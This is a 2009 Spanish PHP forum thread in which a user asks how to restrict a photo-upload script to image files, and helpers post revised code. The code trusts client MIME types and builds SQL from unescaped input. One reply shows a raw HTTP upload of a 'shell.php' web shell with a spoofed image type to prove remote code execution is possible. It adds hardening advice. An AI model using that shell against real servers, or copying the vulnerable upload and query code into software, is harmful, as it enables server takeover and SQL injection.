elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el ttwitter! de elhacker.NET


+  Foro de elhacker.net
|-+  Programación
| |-+  Desarrollo Web
| | |-+  PHP (Moderador: #!drvy)
| | | |-+  galeria de fotos, comprobar tipo de imagen
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: galeria de fotos, comprobar tipo de imagen  (Leído 3,322 veces)
DJmixmancar

Desconectado Desconectado

Mensajes: 98


Ver Perfil
galeria de fotos, comprobar tipo de imagen
« en: 21 Agosto 2009, 18:05 pm »

Tengo un problema con mi peque sistema,
mi sistema es uno para subir fotos,
solo quiero que suba solo fotos, por ejemplo jpg, gif

pero no se donde colocar el codigo de comprbar,


bueno es que el, se me ocurrio que que si suvia con el mismo nombre lo remplace por un numero mas, pero cuando subia con espacio o un caracter de simbolo eahi esta el error,

alguien saber como cambiar esto

porfavor es urgente,
Citar
<?php
include("config.php");
$tag=$_POST["tag"];
$SIZE="1000000";
$UPLOAD_DIR ="../userfotos/";
if (is_uploaded_file($archivo)) {
if ( $archivo_size > $SIZE ) {
echo "<b><CENTER>El Servidor acepta sólo archivos de tamaño menor que $SIZE.";
echo " Ingrese de Nuevo su Aviso</CENTER></b>";
exit;
}
$nombreaponer=strtolower($archivo_name);
$alternativo="";
while (@fopen($UPLOAD_DIR.$alternativo.$nombreaponer,"r"))
{
$alternativo++;
}
$nombreaponer=$alternativo.$nombreaponer;
copy($archivo,$UPLOAD_DIR.$nombreaponer);
unlink($archivo);
$url_completa ="$UPLOAD_DIR$nombreaponer";

$ingresar=mysql_query("insert into fotos(titulo,Comentario,url_,tag,pass_delete,categria,url_completa,data,user) values ('$titulo','$cuerpo','$nombreaponer','$tag','$pass_delete','$nombre','$url_completa','$fecha','$quien')",$database_server);
echo "se agrego el archivo ";
echo"<b>";
echo"$nombreaponer";
echo"<br>";
echo"<p>el codigo de delete es</p>";
echo"<b>";
echo "$pass_delete";
echo"<br>";
echo"<b>";
 echo '<p><a href="./formulario_upload.php">Subir mas Fotos</a></p>';
} else {
echo "no se puedo agragar su archivo";
//$ingresar=mysql_query("insert into tabla(titulo,cuerpo) values ('$titulo','$cuerpo')",$link);
}
?>


En línea

дٳŦ٭
GNU/Linux Infrastructure Specialist
Colaborador
***
Desconectado Desconectado

Mensajes: 5.111


Ver Perfil WWW
Re: galeria de fotos, comprobar tipo de imagen
« Respuesta #1 en: 21 Agosto 2009, 20:22 pm »

Citar
porfavor es urgente

 :-\ aquí no hacemos la tarea de nadie  ;D pero a ver.. te doy una pista, buscate info sobre $_FILES y sus atributos.. tiene la opción de detectar el mime del archivo. Suerte.


En línea



Con sangre andaluza :)

DJmixmancar

Desconectado Desconectado

Mensajes: 98


Ver Perfil
Re: galeria de fotos, comprobar tipo de imagen
« Respuesta #2 en: 21 Agosto 2009, 23:17 pm »

hola man gracia pero si se eso me olvide de agregar.
   if ($userfile_type=="image/jpeg" || $userfile_type=="image/pjpeg" || $userfile_type=="image/gif" || $userfile_type=="image/bmp")
   {}


el problema es no se donde obicarlo esque cada vez que lo ubico me bota error de ubicacion de
}

lo locado en todas partepero sale error

En línea

Karman


Desconectado Desconectado

Mensajes: 673



Ver Perfil WWW
Re: galeria de fotos, comprobar tipo de imagen
« Respuesta #3 en: 21 Agosto 2009, 23:54 pm »

me parece mejor algo así:

Código
  1. $imagetypes=array('image/jpeg','image/gif','image/png','image/tiff','image/bmp');
  2. ...
  3. if ( $archivo_size > $SIZE ) {
  4. echo "<b><CENTER>El Servidor acepta sólo archivos de tamaño menor que $SIZE.";
  5. echo " Ingrese de Nuevo su Aviso</CENTER></b>";
  6. }
  7. if(!in_array($userfile_type,$imagetypes)){
  8. echo "<b><CENTER>El Servidor acepta sólo imagenes";
  9. echo " Ingrese de Nuevo su Aviso</CENTER></b>";
  10. }

S2
En línea

DJmixmancar

Desconectado Desconectado

Mensajes: 98


Ver Perfil
Re: galeria de fotos, comprobar tipo de imagen
« Respuesta #4 en: 22 Agosto 2009, 08:21 am »

Hola man Gracias por responder pero nada, ahora ndad puedo subir pucha, que hago
En línea

DJmixmancar

Desconectado Desconectado

Mensajes: 98


Ver Perfil
Re: galeria de fotos, comprobar tipo de imagen
« Respuesta #5 en: 22 Agosto 2009, 16:55 pm »

amigo nda no se donde colocar ayudame porfavor yo etrataDO ASI pero nada
Citar
<?php
include("config.php");
//include("../../conex.php");

//$link=Conectarse();
//$random_number = $_POST['$random_number'];

$tipo_archivo = $HTTP_POST_FILES['archivo']['type'];

$tag=$_POST["tag"];

$SIZE="1000000";

$UPLOAD_DIR ="../userfotos/";

if (is_uploaded_file($archivo)) {

$imagetypes=array('image/jpeg','image/gif','image/png','image/tiff','image/bmp');


f ( $archivo_size > $SIZE ) {

echo "<b><CENTER>El Servidor acepta sólo archivos de tamaño menor que $SIZE.";

echo " Ingrese de Nuevo su Aviso</CENTER></b>";

exit;

}



$nombreaponer=strtolower($archivo_name);

$alternativo="";

while (@fopen($UPLOAD_DIR.$alternativo.$nombreaponer,"r"))

{

$alternativo++;

}



$nombreaponer=$alternativo.$nombreaponer;

copy($archivo,$UPLOAD_DIR.$nombreaponer);

unlink($archivo);
$url_completa ="$UPLOAD_DIR$nombreaponer";

//$url_completa = "xddd";
$ingresar=mysql_query("insert into fotos(titulo,Comentario,url_,tag,pass_delete,categria,url_completa,data,user) values ('$titulo','$cuerpo','$nombreaponer','$tag','$pass_delete','$nombre','$url_completa','$fecha','$quien')",$database_server);
echo "se agrego el archivo ";

echo"<b>";
echo"$nombreaponer";
echo"<br>";
echo"<p>el codigo de delete es</p>";
echo"<b>";
echo "$pass_delete";
echo"<br>";
echo"<b>";
 echo '<p><a href="./formulario_upload.php">Subir mas Fotos</a></p>';
} else {
echo "no se puedo agragar su archivo";
//$ingresar=mysql_query("insert into tabla(titulo,cuerpo) values ('$titulo','$cuerpo')",$link);
}

?>


 nada  aqui te dejo el codigo de from
Citar
</label>

<label>

<textarea name="cuerpo" cols="50" rows="5" id="cuerpo"></textarea>

<br />
<br />

pdf<br />
</label>

<label>

<input name="archivo" type="file" id="archivo" />

<br />
<br />
<input name="pass_delete" type="hidden" value="<? echo $random_number;?>" />
<input name="quien" type="hidden" value="<? echo $quien;?>" />
<input name="fecha" type="hidden" value="<?=fecha() ?>" />



<br />
</label>

<label>

<input type="submit" name="Submit" value="guardar" />

</label>

</form>
En línea

Karman


Desconectado Desconectado

Mensajes: 673



Ver Perfil WWW
Re: galeria de fotos, comprobar tipo de imagen
« Respuesta #6 en: 22 Agosto 2009, 18:11 pm »

fijate si así te funciona:

Código
  1. <?php
  2.  
  3. include("config.php");
  4. //include("../../conex.php");
  5.  
  6. //$link=Conectarse();
  7. //$random_number = $_POST['$random_number'];
  8.  
  9. $archivo = $_FILES['archivo'];
  10. $tag=$_POST["tag"];
  11. $SIZE="1000000";
  12. $UPLOAD_DIR ="../userfotos/";
  13. $imagetypes=array('image/jpeg','image/gif','image/png','image/tiff','image/bmp');
  14.  
  15. if (is_uploaded_file($archivo)) {
  16.  
  17. if ($archivo['size'] > $SIZE ) {
  18. echo "<b><CENTER>El Servidor acepta sólo archivos de tamaño menor que $SIZE.";
  19. echo " Ingrese de Nuevo su Archivo</CENTER></b>";
  20. }
  21.  
  22. if(!in_array($archivo['type'],$imagetypes)){
  23. echo "<b><CENTER>El Servidor acepta sólo imagenes";
  24. echo " Ingrese de Nuevo su Archivo</CENTER></b>";
  25. }
  26.  
  27. $nombreaponer=strtolower(ereg_replace("[^a-zA-Z0-9.]",'_',$archivo['name']));
  28. $alternativo=0;
  29. do{
  30. $nombreposible=$UPLOAD_DIR.($alternativo++).$nombreaponer;
  31. }while(file_exists($nombreposible));
  32. $nombreaponer=$nombreposible;
  33.  
  34. if(!move_uploaded_file($archivo['tmp_name'],$nombreaponer)){
  35. echo "<b><CENTER>Error: No se a podido subir la imagen...</CENTER></b>";
  36. }
  37.  
  38. $url_completa =$nombreaponer;
  39. $ingresar=mysql_query("insert into fotos(titulo,Comentario,url_,tag,pass_delete,categria,url_completa,data,user) values ('$titulo','$cuerpo','$nombreaponer','$tag','$pass_delete','$nombre','$url_completa','$fecha','$quien')",$database_server);
  40.  
  41. echo "se agrego el archivo ";
  42. echo"<b>";
  43. echo"$nombreaponer";
  44. echo"<br>";
  45. echo"<p>el codigo de delete es</p>";
  46. echo"<b>";
  47. echo "$pass_delete";
  48. echo"<br>";
  49. echo"<b>";
  50. echo '<p><a href="./formulario_upload.php">Subir mas Fotos</a></p>';
  51. } else {
  52. echo "no se puedo agregar su archivo";
  53. }
  54.  
  55. ?>

S2
En línea

WHK
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.481


The Hacktivism is not a crime


Ver Perfil WWW
Re: galeria de fotos, comprobar tipo de imagen
« Respuesta #7 en: 24 Agosto 2009, 05:17 am »

con eso yo fácilmente podría subirle un php y hacer código de ejecución remota:

Citar
telnet web.com 80
POST /test.php HTTP/1.1
Host: web.com
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------15890672924370
Content-Length: 251

-----------------------------15890672924370
Content-Disposition: form-data; name="archivo"; filename="shell.php"
Content-Type: image/png

<?php echo nl2br(htmlspecialchars(system($_COOKIE['eval']), ENT_QUOTES)); ?><br /><?php phpinfo(); ?>

y si le pongo comillas al título y demás puedo causar una inyección sql.

Mejor verifica extensiones basados en strpos tomando los ultimos tres o cuatro carácteres segín la extensión a comparar y devuelves true o false si es permitido o no y asegurate siempre de utilizar mysq escape real string para evitar las inyecciones. Si quieres algo mas avanzado y evitar que se ejecuten via LFI aunque sean subidas con extensión jpg utiliza gd.
En línea

Telegram: @WHK102 - Semáforo Epidemiologico Chile
Karman


Desconectado Desconectado

Mensajes: 673



Ver Perfil WWW
Re: galeria de fotos, comprobar tipo de imagen
« Respuesta #8 en: 24 Agosto 2009, 05:42 am »

con eso yo fácilmente podría subirle un php y hacer código de ejecución remota

si en realidad no se hablo de seguridad... un buen mecanismo sería comprobar la extensión final del archivo y eliminar extensiones duplicadas si existen... pero bueno... la idea del post no era esa...

S2
En línea

WHK
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.481


The Hacktivism is not a crime


Ver Perfil WWW
Re: galeria de fotos, comprobar tipo de imagen
« Respuesta #9 en: 24 Agosto 2009, 05:48 am »

Y por eso después aparecen las webs expuestas para que menores de 15 años las desfaceen sabiendo que la gente que viene a pedir este tipo de cosas copian y pegan código sin conocer mucho del tema.
Solo es hábito.
En línea

Telegram: @WHK102 - Semáforo Epidemiologico Chile
Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Un virus para móviles bloquea la galería de fotos
Noticias
wolfbcn 0 826 Último mensaje 17 Marzo 2012, 02:21 am
por wolfbcn
Galeria de fotos simple con zoom
Desarrollo Web
Jnex 3 2,724 Último mensaje 23 Abril 2012, 16:28 pm
por EFEX
[SOLUCIONADO] ¿Como comprobar que imagen está usando un control?
.NET (C#, VB.NET, ASP)
Eleкtro 3 1,626 Último mensaje 24 Diciembre 2012, 18:14 pm
por $Edu$
[Ayuda] Galeria con efecto de cambiar imagen al pasar el mouse (javascript)
Desarrollo Web
Graphixx 1 2,205 Último mensaje 8 Enero 2013, 09:04 am
por EFEX
Meter galería fotos sencilla en web HTML5
Desarrollo Web
Morgan007 6 9,524 Último mensaje 11 Febrero 2013, 22:16 pm
por EFEX
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines